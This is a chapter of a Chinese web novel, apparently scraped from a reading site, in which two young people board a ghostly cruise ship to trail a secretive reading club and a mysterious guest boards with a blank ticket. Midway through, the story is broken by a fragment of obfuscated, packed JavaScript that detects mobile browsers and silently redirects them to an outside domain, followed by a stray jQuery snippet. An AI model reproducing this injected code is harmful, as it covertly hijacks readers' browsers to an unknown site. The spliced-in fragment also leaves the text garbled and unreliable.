9. 第 9 章

作品:《饲养恶魔后漂亮神明带球跑

    宁槐推开童话牧场会客厅的大门,铜风铃仍像往常叮铃,却没看着趴在那儿生无可恋写作业的小孩。


    他穿过玻璃走廊熟门熟路找到黑色小绵羊的VIP宿舍,给小羊羔定制的矮床上躺着人类少年,双目无神地盯着天花板上的云朵投影发呆。


    至于房间真正的所有者,正边叼着咬咬球边甩脑袋自娱自乐,瞥了眼来人后干脆转过身,羊屁屁冲着他。


    宁槐知道这只小绵羊不大喜欢自己,多半是因为上回自己盯着对方主人看了太久。


    虽然面上令人误会,着实事出有因。他真的不是沉迷于姜先生的美貌……呃,不完全是。


    再说了,明明是羊,怎么跟小狗似的,又爱吃醋又护主。


    宁槐当然不能跟一只小狗……不,小羊计较,略过他走到佟灵旁边:“今天不想学习?”


    佟灵神情恹恹。


    上回他们去的读书会,因为被外人撞破了地址,领导者决定换个开会的地方,连家人都要保密。


    佟灵觉得太奇怪,劝父亲不要去,可父亲好像走火入魔一样,把他骂了一顿就走了,再打电话过去一直关机。


    他想着要不要报警,宁槐却摇头:“报警没用,读书会是按照正规组织登记的,每次大型集会还会提前报备,明面上的手续找不出毛病。”


    佟灵慌了:“那……”


    “唔,我恰好也知道他们这次开会的地点。”宁槐像是早有准备,拿出两张硬卡纸,“要是真的很担心你爸爸,要不要跟我一起去看看?”


    佟灵接过来。


    黑蓝偏光,烫金纹路。那不是普通的纸,而是票。


    ——船票。


    映入眼帘几个花哨的大号文字:「“银色山泉号”高端游轮」


    下面还有一行小字:「航程一周,为您圆梦!」


    发船时间三小时后,二人很快收拾离开,谁也没在意角落里乖乖玩球的小绵羊。


    更不会看见那双黑葡萄似的眼睛眨了眨,莹亮光芒一闪而过,瞳孔变成了焦糖色。


    *


    持续两年的极端低温冻结了不见城内的所有河流湖泊,渔业、造船业、水上旅游业、内河航运业等等全数停摆。


    如今若还想走水路,只有航海这么一个选项了。


    不见城的确靠海,但海域多风暴,海岸线崎岖,既不适合做商贸往来的港口,更建设不成海滨度假胜地。


    永夜降临后,本就复杂的海况愈发险峻,不需要专门出条例限制,早就没人敢靠近海边。


    眼下,一艘巨型游轮静静停靠在岸边,船体在寒风中微微颤动,甲板空空荡荡,连船舱内的灯也只是稀疏亮了几盏。


    比城市中更狂野的风雪徘徊着、咆哮着,推动着海面上的碎冰朝着更远处飘浮,像是破碎的镜片,又似冰冷的骸骨。


    没人亲眼看见这艘船从哪里驶来,又是何时停泊于不见城,它就这么冷不丁地出现,如同暗夜中的幽灵。


    它的身后是一望无际的、堪称可怖的夜色,仿佛踏进去就是世界尽头。


    陆陆续续有乘客抵达码头,每个都裹着厚厚的衣服,行色匆匆,一手提行李箱,一手拿黑蓝偏光硬卡纸,时而抬头瞅瞅大船,时而低头核对:


    “是这个吗?”


    “好像是……”


    “感觉和票上画的有点儿不一样。”


    “但是也没别的船了啊。”


    “快上去吧,还有半小时就开船了。”


    一个人问:“你们的票都是怎么拿到的?”


    其余人静了一瞬,七嘴八舌回答:


    “不知道,我老婆给我的。”


    “是快递送来的。”


    “我到工位的时候就已经在那儿了。”


    “我跟你一样。”


    人们默契地忽略了一个问题:读书会明明没有收集过他们的住址信息,是如何知晓要寄去哪儿的呢?


    游轮的汽笛发出一声呜咽,催促着乘客们登船。


    他们按下所有疑惑,不再闲聊,为着那个“复苏不见城”“拯救自己和家人”的念头,在寒风中匆匆走上舷梯。


    检票的工作人员穿着统一的黑色夹克制服,头戴深灰帽子和口罩,低头时连双眼都看不着,像一个个没有实体的虚影,叫人愈看愈是遍体生寒。


    肯定是入口处的暖气不足,进去就好了。乘客们纷纷自我安慰。


    有那么一些人察觉到不对劲儿想要下船,可惜入口是单行道,没有回头路。


    虚影似的工作人员捂住他们的嘴带进另一个通道,他们连呼救都来不及,全身失去抵抗的力气,瞳孔的光亮随之熄灭,傀儡般跟随离开。


    离开船剩下不到五分钟,几乎没人再来了。


    检票人员整理着已经剪下的小块卡纸,码齐之后,几百张扯掉一半的图案相连,乍一看像某种符咒。


    “不到四分钟了。”


    “差不多都到齐了吧?”


    “应该是。那通知准备关舱门?”


    “行。”


    他们正准备返回船舱,一只冷白的手伸到面前拦住了去路。


    “劳驾。”


    那声音听着竟比永夜还要冰冷几分。


    检票员抬起头。


    来人披着件大氅,布料顺滑纤薄,剪裁利落修长,边缘带着些许凹凸不平的弧度,不知是磨损还是故意设计的暗纹。


    雾蓝色的纱织围巾松松缠了一圈,遮住小半张脸,仅露出鼻梁以上的部分。


    暴雪天中就这样外出实属勇气可嘉,不过本人好像很习惯如此单薄的穿着,近乎纯黑的眸子静静地望着他。


    检票员怔怔地看了几秒,莫名结巴起来:“您、您好,那、那个,票……”


    那人没有带任何行李,外套上也没有口袋,原本空无一物的手里忽然多出张纸片,戴着手套的食指和中指拈起,递给检票员。


    检票员立刻伸出双手恭敬地拿下,好像接过的不是张纸而是博物馆里的无价之宝。


    正规船票是硬卡纸,这张是最普通不过的白纸;


    正规船票有特殊工艺做的黑蓝偏光用以防伪,这张是没有丝毫瑕疵的纯白;


    正规船票印着“银色山泉号”、航程时间、开船时间和“为您圆梦”,这张连个墨点都没有。


    但检票员还是照常撕下一小块放进其他票根中,对这位姗姗来迟的乘客笑容灿烂:“欢迎您登船!祝您有个美好的旅程!”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189511|181072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >客人没有再说什么,抓住围巾的手指纤细,指甲边缘是比围巾的雾蓝色更清淡的冰蓝。


    鸦羽似的睫毛轻柔垂下,掉落一粒晶莹剔透的雪花。


    几分钟后,他的同事走过来拍了拍他的肩膀:“要开船了。”


    他差点跳起来,刚回过神似的:“啊?啊……”


    “发什么呆呢?一脸傻笑。”


    “没事没事。走吧。”


    舷梯缓缓收回,锚链与缆绳一一解开,他在响起的全船广播中倚着窗户看向重归肃穆的码头,怅然若失。


    刚才那位客人……


    从头到尾,也不过说了两个字,见不到两分钟而已。


    可怎么会有人能够如此美丽、高贵、动人心弦呢?


    接下来的一周时间,还能再见上一面吗?


    *


    【“银色山泉号” ·活动安排时间表·首日】


    15:00-16:00 —— 登船接待与房间分配 —— 一号接待厅 —— 舷梯口


    16:00-16:30 —— 游轮说明与安全指引 —— 多功能A厅 —— F3602


    16:30-19:00 —— 自动活动 —— 观景甲板/全船 —— F9702/全船


    17:30-19:30 —— 餐食供应 —— 五号餐厅—— F5308


    ……


    20:00-22:00 —— 读书会 —— 多功能C厅 —— F6101


    ……


    23:00 —— 熄灯 —— 全船 —— 全船


    *


    漫长沉沦的大海失去了昼夜的分界线,分辨时间全靠游轮内随处可见的钟表。


    大厅内最大的那尊座钟雕刻着栩栩如生的莺鸟与繁复的紫藤花丛,在时针指向最下方准点报时。


    晚上六点,距离读书会的活动正式开始还剩两个小时。


    外面是凄风苦雪的永夜,游轮内部倒富丽堂皇。


    精准控制温湿度的室内舒适如春,从吊灯、地毯、到壁纸、挂画的装修堪称奢靡,经过严格培训的船员服务周到,更不用免费的美酒、佳肴、交响乐……


    处处欢声笑语,让人不自觉沉溺其中,几乎忘了外面的世界有多残酷,也忘了来意。


    读书会吸纳的人群非常普遍,男女老少,各行各业,有钱没钱,似乎没有一个固定的界定标准。的确以成年人为主,也有一些家庭带着孩子,这让穿梭其中的两个年轻人并不显得突兀。


    其中一个忽然停下,拎起背包到处找,懊恼道:“哎呀,我好像把小迦弄丢了。”


    另一个没反应过来,愣了下:“什么小迦?”


    前者指了指背包拉链:“是个黑色小羊挂件,和小迦可像了。才买没多久来着……”


    此刻,几层楼之上。


    枣红色混金线绣纹的地垫上躺着只仿真黑色绵羊玩偶,一身卷毛做得软萌逼真,头顶串着便于悬挂的珠链,羊尾巴还带着玩具厂的标签,特意注明只能手洗不能机洗。


    小羊玩偶四脚朝天,玻璃珠似的豆豆眼一眨不眨盯着房门,好像很希望被里面的人捡起。


    下一秒,门铃响了。